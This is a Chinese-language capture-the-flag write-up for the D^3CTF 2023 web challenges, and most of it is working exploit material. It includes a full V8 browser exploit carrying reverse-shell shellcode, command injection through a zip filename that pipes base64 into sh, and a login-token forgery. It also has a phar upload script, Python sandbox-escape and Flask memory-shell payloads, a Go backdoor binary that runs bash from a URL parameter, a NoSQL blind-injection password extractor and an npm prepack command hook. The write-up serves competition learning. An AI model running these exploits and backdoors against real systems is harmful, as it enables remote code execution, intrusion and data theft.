D^3CTF 2023 Web By 满分冰美式

Web

d3icu

通过go提前设置redis里面的缓存。将其指向为vps上的CC6 serial数据 打tomcat session反序列化。访问demo服务设置JsessionID 为crc32 vps地址,触发tomcat反序列化覆盖index.jsp

拿到java shell后改index.jsp 打node的xss 因为是老版本chrome 直接v8 RCE

<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode =[106, 41, 88, 153, 106, 2, 95, 106, 1, 94, 15, 5, 72, 151, 72, 185, 2, 0, 31, 144, 82, 156, 18, 214, 81, 72, 137, 230, 106, 16, 90, 106, 42, 88, 15, 5, 106, 3, 94, 72, 255, 206, 106, 33, 88, 15, 5, 117, 246, 106, 59, 88, 153, 72, 187, 47, 98, 105, 110, 47, 115, 104, 0, 83, 72, 137, 231, 82, 87, 72, 137, 230, 15, 5];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

d3cloud

Laravel Admin 访问 /admin,直接admin/admin弱口令登录

云盘插件里面有改过代码的FileSystemAdapter.php,根据面板给出的Laravel版本5.5.x,从Framework找到源代码进行diff:

diff --git a/fs1.php b/fs2.php
index 8165345..c14e1a2 100644
--- a/fs1.php
+++ b/fs2.php
@@ -1,4 +1,5 @@
 <?php
+//There is something different from the original file

 namespace Illuminate\Filesystem;

@@ -163,6 +164,7 @@ class FilesystemAdapter implements FilesystemContract, CloudFilesystemContract
      */
     public function put($path, $contents, $options = [])
     {
+
         $options = is_string($options)
                      ? ['visibility' => $options]
                      : (array) $options;
@@ -190,6 +192,7 @@ class FilesystemAdapter implements FilesystemContract, CloudFilesystemContract
      */
     public function putFile($path, $file, $options = [])
     {
+
         return $this->putFileAs($path, $file, $file->hashName(), $options);
     }

@@ -204,19 +207,22 @@ class FilesystemAdapter implements FilesystemContract, CloudFilesystemContract
      */
     public function putFileAs($path, $file, $name, $options = [])
     {
+        $supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt');
+        $file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION));
+        if (!in_array($file_type, $supported_file)) {
+            return false;
+        }
         $stream = fopen($file->getRealPath(), 'r+');
-
-        // Next, we will format the path of the file and store the file using a stream since
-        // they provide better performance than alternatives. Once we write the file this
-        // stream will get closed automatically by us so the developer doesn't have to.
         $result = $this->put(
             $path = trim($path.'/'.$name, '/'), $stream, $options
         );
-
         if (is_resource($stream)) {
             fclose($stream);
         }
-
+        if($file->getClientOriginalExtension() === "zip") {
+            $fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathP
refix(),"w");
+            pclose($fs);
+        }
         return $result ? $path : false;
     }

就是加了一个popen执行unzip解压缩,然后加了一个过滤文件上传后缀名

zip文件名直接写$(whoami).zip可以直接执行bash指令,但是TCP不出网,直接写文件解决

Content-Disposition: form-data; name="files[]"; filename="$(echo Y2F0IC9mbDFBZyA+PiAxMjMucGhw|base64 -d|sh).zip"
Content-Type: text/plain

d3dolphin

访问admin.php进入后台
审计代码后发现,is_signin 函数有缺陷,可以伪造登录signin_token

$signin_token = data_auth_sign($user['username'].$user['id'].$user['last_login_time']);

首页log.txt给了admin用户的最后登录时间,要减八小时改成utc时间
sha1(“0=admin1” + “1301984359”)

Cookie: dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6

带着这样的cookie访问页面,session就会被标记为登录状态
根据之前rce文章,找类似入口
在启用门户模块后,找到添加客服位置,插入函数名和参数

dolphin对函数名称也有一些过滤

phpinfo disable_function如下

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitpid,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,putenv

这里只有只能指定一个函数名,一个参数,可以用tp的反序列化链写马

import requests

burp0_url = "http://xxx/admin.php/admin/attachment/upload?dir=./&module=admin"
burp0_cookies = {"PHPSESSID": "jg17osu5751b82gtri8o4mrpgj"}
data = {
    "file": ("phar.zip", open(r'phar.phar', "rb")),
    "size": "471",
    "name": "phar.zip",
    "type": "image/gif",
}
requests.post(burp0_url, cookies=burp0_cookies, files=data)

后面一把梭/readflag

EscapePlan

方案一 by Host

int(False)==0
~int(False)==-1
-~int(False)==1

用编码绕过函数名
“𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙”
从request变量传递payload
正好最近研究了flask的内存马,写完直接执行命令

import base64
import requests

exp = '(msg:=𝐬𝐭𝐫(request))and(𝐞𝐯𝐚𝐥(msg[int(True)'+"-~int(False)"*37+':int(True)'+"-~int(False)"*166+']))'
r = requests.post("""http://xxx/?app.before_request_funcs.setdefault(None,list()).append(lambda:__import__('os').popen(request.args.get('shell','whoami')).read())""", data={"cmd": base64.b64encode(exp.encode())})
print(r.text)

方案二

忘了从哪看的

主要思想是不使用引号造出字符串

dict(hello_world='')
# {"hello_world": ""}
list(dict(hello_world=''))
# ['hello_world']
list(dict(hello_world=''))[len([])
eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp=()))[len([])]))

最终实现:

eval(
    vars(
        eval("__import__")("binascii")
    )["a2b_base64"]("X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp")
)

d3go

通过路径穿越获取源码:http://106.14.124.130:32306/assets/%2E%2E/%2E%2E/,稍微改一下这个脚本就能全部脱下来

在注册时通过更新记录为原有admin记录添加删除字段,可以达到同时使IsAdmin为true但是ID不为1的情况

// db.go
func IsAdmin(u *model.User) bool {
    var admin model.User
    if err := db.First(&admin).Error; err != nil {
        log.Error(err)
    } // db.First will not count row that DeletedAt != NULL
    return u.Username == admin.Username
}

...

func AddUser(u *model.User) error {
    if err := db.Save(u).Error; err != nil {
        log.WithField("user", u).Error(err)
        return ErrDatabase
    } 
        // db.Save updates field if ID exists
        // but model.User are directly unserialized from user input.
    return nil
}

// auth.go
func Login(u *model.User) (int, error) {
    ok, err := db.CheckAuth(u)
    if !ok || err != nil {
        return UnAuthed, err
    }
    if config.Conf.NoAdminLogin && u.ID == 1 {
        return UnAuthed, nil
    } // So first available row's ID can != 1
    if db.IsAdmin(u) {
        return Admin, nil
    }
    return User, nil
}

所以在注册的时候我们可以构造如下payload:

// POST /register
{"ID":1,"CreatedAt":"2020-01-01T00:00:00Z","DeletedAt":"2020-01-01T00:00:00Z"}

之后随便注册一个账户就是可以登录的admin身份,能够上传文件。

程序配置有自动监听config.yml更改和基于overseer的程序更新服务

func Init() {
    viper.SetConfigName("config")
    viper.SetConfigType("yaml")
    viper.AddConfigPath(".")
    if err := viper.ReadInConfig(); err != nil {
        log.Fatalln(err)
    }
    UpdateConfig()
    viper.OnConfigChange(func(in fsnotify.Event) {
        UpdateConfig()
    })
    viper.WatchConfig()
}

func UpdateConfig() {
    Conf.DBUser = viper.GetString("database.user")
    Conf.DBPasswd = viper.GetString("database.password")
    Conf.DBHost = viper.GetString("database.host")
    Conf.DBPort = viper.GetString("database.port")
    Conf.NoAdminLogin = viper.GetBool("server.noAdminLogin")
    Conf.AutoUpdate = viper.GetBool("update.enabled")
    Fetch = fetcher.HTTP{
        URL:      viper.GetString("update.url"),
        Interval: viper.GetDuration("update.interval") * time.Second,
    }
    Fetch.Init()
    log.Println("config updated")
}

上传文件的解压逻辑有路径穿越漏洞,可以通过构造文件名为../../config.yml的文件来覆盖原有config.yml文件

p, _ := filepath.Abs(filepath.Join(outputPath, f.Name))

生成压缩包: https://pastebin.ubuntu.com/p/Q6Kgq695km/

根据文档,更新的二进制需要满足需求:

Once a binary is received, it is run with a simple echo token to confirm it is a overseer binary.

写出来用来替换的二进制,编译执行放到config.yml指定的位置即可RCE

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net"
	"net/http"
	"os/exec"
	"strings"
	"time"

	"github.com/jpillora/overseer"
	"github.com/jpillora/overseer/fetcher"
)

func cmd_connect(c net.Conn) {
	if c == nil {
		return
	}
	buf := make([]byte, 4096)
	for {
		cnt, err := c.Read(buf)
		if err != nil || cnt == 0 {
			c.Close()
			break
		}
		inStr := strings.TrimSpace(string(buf[0:cnt]))
		inputs := strings.Split(inStr, " ")
		switch inputs[0] {
		case "quit":
			c.Close()
			break
		default:
			var cmd_str string
			for _, value := range inputs {
				if cmd_str == "" {
					cmd_str = value
				} else {
					cmd_str = cmd_str + " " + value
				}
			}
			cmd := exec.Command("/bin/bash", "-c", cmd_str)
			stdout, err := cmd.StdoutPipe()
			if err != nil {
				log.Fatal(err)
			}
			defer stdout.Close()
			if err := cmd.Start(); err != nil {
				log.Fatal(err)
			}
			// 读取输出结果
			opBytes, err := ioutil.ReadAll(stdout)
			if err != nil {
				log.Fatal(err)
			}
			c.Write([]byte(opBytes))

		}
	}
}

var BuildID = "0"

func prog(state overseer.State) {
	fmt.Printf("app#%s (%s) listening...\n", BuildID, state.ID)
	http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		d := (r.URL.Query().Get("d"))
		//time.Sleep(d)
		//fmt.Fprintf(w, "app#%s (%s) says hello\n", BuildID, state.ID)
		cmd := exec.Command("/bin/bash", "-c", d)
		stdout, err := cmd.StdoutPipe()
		if err != nil {
			log.Fatal(err)
		}
		defer stdout.Close()
		if err := cmd.Start(); err != nil {
			log.Fatal(err)
		}
		// 读取输出结果
		opBytes, err := ioutil.ReadAll(stdout)
		myString := string(opBytes[:])
		if err != nil {
			log.Fatal(err)
		}
		fmt.Fprintf(w, myString)
	}))
	http.Serve(state.Listener, nil)
	//fmt.Printf(myString)
}
func main() {
	overseer.Run(overseer.Config{
		Program: prog,
		Address: ":8081",
		Fetcher: &fetcher.HTTP{
			URL:      "http://localhost:4000/binaries/myapp",
			Interval: 1 * time.Second,
		},
	})
}

http://106.14.124.130:31984/?d=ls

d3node

进去f12看见hint1
根据hint1可以知道存在nosql注入,过滤了一些,但可以用正则

{"username": {"$regex": "admin"}, "password": {"$regex": "" }}

进去看前端源码 信息搜集发现一些路由和hint2

其读取文件是直接将传入的filename放进去的,存在任意文件读取

/dashboardIndex/ShowExampleFile?filename=/etc/passwd

尝试读 app.js 发现回显 hacker
这里可以利用readFileSync 的特性来绕,传递一个满足条件的对象,将app.js进行url编码绕过(相关分析网上都能找到,这里不多做解释)
app.js
/dashboardIndex/ShowExampleFile?filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname]=&filename[pathname]=/proc/self/cwd/%2561%2570%2570%252e%256a%2573
根据app.js可还原出源码,审计代码发现会执行 /dashboardIndex/PackDependencies 路由会执行 npm pack
prepack可以在pack前执行命令

{
    "name": "d3ctf2023",
    "version": "1.0.0",
    "dependencies": {
...
    },
    "scripts": {
      "prepack": "/readflag >> /tmp/123.txt"
    }
  }

前面nosql盲注注出admin密码登录

import requests

remoteHost = "47.102.98.112:30320"
burp0_url = f"http://{remoteHost}/user/LoginIndex"
dict_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}
password = ""
for i in range(50):
    for i in dict_list:
        burp0_json={"password": {"$regex": f"^{password + i}.*"}, "username": {"$regex": "admin"}}
        res = requests.post(burp0_url, json=burp0_json, proxies=proxies, allow_redirects=False)
        if res.status_code == 302:
            password += i
            print(password)
            break

admin/dob2xdriaqpytdyh6jo3
然后依次按接口发包即可
/dashboardIndex/SetDependencies
/dashboardIndex/PackDependencies
/dashboardIndex/ShowExampleFile?filename=/tmp/123.txt

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇